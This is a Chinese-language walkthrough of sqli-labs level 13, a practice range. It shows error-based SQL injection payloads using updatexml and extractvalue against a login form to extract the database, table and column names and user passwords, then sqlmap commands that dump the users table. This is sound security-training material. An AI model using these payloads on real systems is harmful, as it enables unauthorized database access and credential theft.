Bootstrap

web——sqliabs靶场——第十三关——报错注入+布尔盲注

发现是单引号加括号闭合的 

尝试联合注入

发现不太行,那尝试报错注入。

测试报错注入

uname=admin') and updatexml(1,0x7e,3) -- +&passwd=admin&submit=Submit

爆数据库

uname=admin') and updatexml(1,concat(0x7e,database(),0x7e),3) -- +&passwd=admin&submit=Submit

 

新学一个函数extractvalue()

extractvalue()
作用:对XML文档进行查询,相当于在HTML文件中用标签查找元素。
语法: extractvalue( XML_document, XPath_string )
参数1:XML_document是String格式,为XML文档对象的名称
参数2:XPath_string(Xpath格式的字符串),注入时可操作的地方
报错原理:xml文档中查找字符位置是用/xxx/xxx/xxx/...这种格式,如果写入其他格式就会报错,并且会返回写入的非法格式内容,错误信息如:XPATH syntax error:'xxxxxxxx‘
最大只能显示32个字符,所以要配合limit进行使用

爆表名

uname=admin') and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1)))-- +&passwd=admin&submit=Submit

 通过更改limit后的值来获得表名

爆列名

uname=admin') and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name= 'users' limit 1,1)))-- +&passwd=admin&submit=Submit

更改limit后的值来得到

爆具体内容 

uname=1')and updatexml(1,concat(0x7e,(select password from users limit 2,1)),3)#&passwd=admin&submit=Submit

布尔盲注

这个是post传参,和之前的不一样

用sqlmap的post传参来搞

1.用bp抓包,将抓包结果放在456.txt文件里

sqlmap -r 456.txt --batch -dbs 

 

查询到数据库名

2.查询表名

sqlmap -r 456.txt --batch -tables -D security

 

3.查询列名

sqlmap -r 456.txt --batch -columns -D security -T users

4.查询数据

sqlmap -r 456.txt --batch -dump -D security -T users -C password,username 

结束

 

悦读

道可道,非常道;名可名,非常名。 无名,天地之始,有名,万物之母。 故常无欲,以观其妙,常有欲,以观其徼。 此两者,同出而异名,同谓之玄,玄之又玄,众妙之门。

;